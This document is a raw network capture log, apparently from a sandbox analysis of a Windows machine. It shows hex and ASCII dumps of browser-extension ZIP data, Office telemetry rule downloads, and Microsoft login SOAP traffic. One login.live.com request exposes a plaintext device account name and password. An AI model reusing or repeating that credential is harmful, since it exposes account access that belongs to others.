2024-10-29 19:35:17 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-29 19:35:17 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-10-29 19:35:17 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-29 19:35:17 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-29 19:35:17 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:17 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:17 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193517Z-16849878b78tg5n42kspfr0x4800000006wg00000000x4vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:17 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49869	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:17 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 19:35:17 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 19:35:18 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 19:34:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 2a65db7c-2709-47d4-9975-721911f4b448 PPServer: PPV: 30 H: BL02EPF00027900 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 19:35:17 GMT Connection: close Content-Length: 1276
2024-10-29 19:35:18 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49870	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:17 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-29 19:35:17 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6e 76 74 6c 79 78 69 7a 71 6b 79 63 74 79 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 6b 6e 51 6d 65 72 34 61 6f 6e 4c 25 45 6d 61 62 44 76 2f 7e 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02nvtlyxizqkycty</Membername><Password>knQmer4aonL%EmabDv/~</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-29 19:35:21 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 29 Oct 2024 19:34:18 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 0cc6f174-9ae3-4e45-8413-2cca7460bd09 PPServer: PPV: 30 H: SN1PEPF0003FB26 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 19:35:20 GMT Connection: close Content-Length: 17166
2024-10-29 19:35:21 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 45 31 35 39 32 42 41 43 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 38 30 64 31 66 35 34 63 2d 32 62 63 64 2d 34 32 63 39 2d 62 37 65 30 2d 66 35 34 64 65 38 66 62 65 63 64 33 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00FE1592BAC</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="80d1f54c-2bcd-42c9-b7e0-f54de8fbecd3" LicenseID="3252b20c-d425-4711
2024-10-29 19:35:21 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:18 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:18 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193518Z-16849878b78qg9mlz11wgn0wcc00000006kg00000000dyhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:18 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:18 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:18 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193518Z-16849878b786jv8w2kpaf5zkqs00000005ug00000000mwn7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:18 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:18 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:18 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193518Z-16849878b78qwx7pmw9x5fub1c000000050g00000000wvhs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:18 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:18 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:18 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: af778f23-101e-007a-027e-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193518Z-17c5cb586f6wnfhvhw6gvetfh400000006eg00000000c0eh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
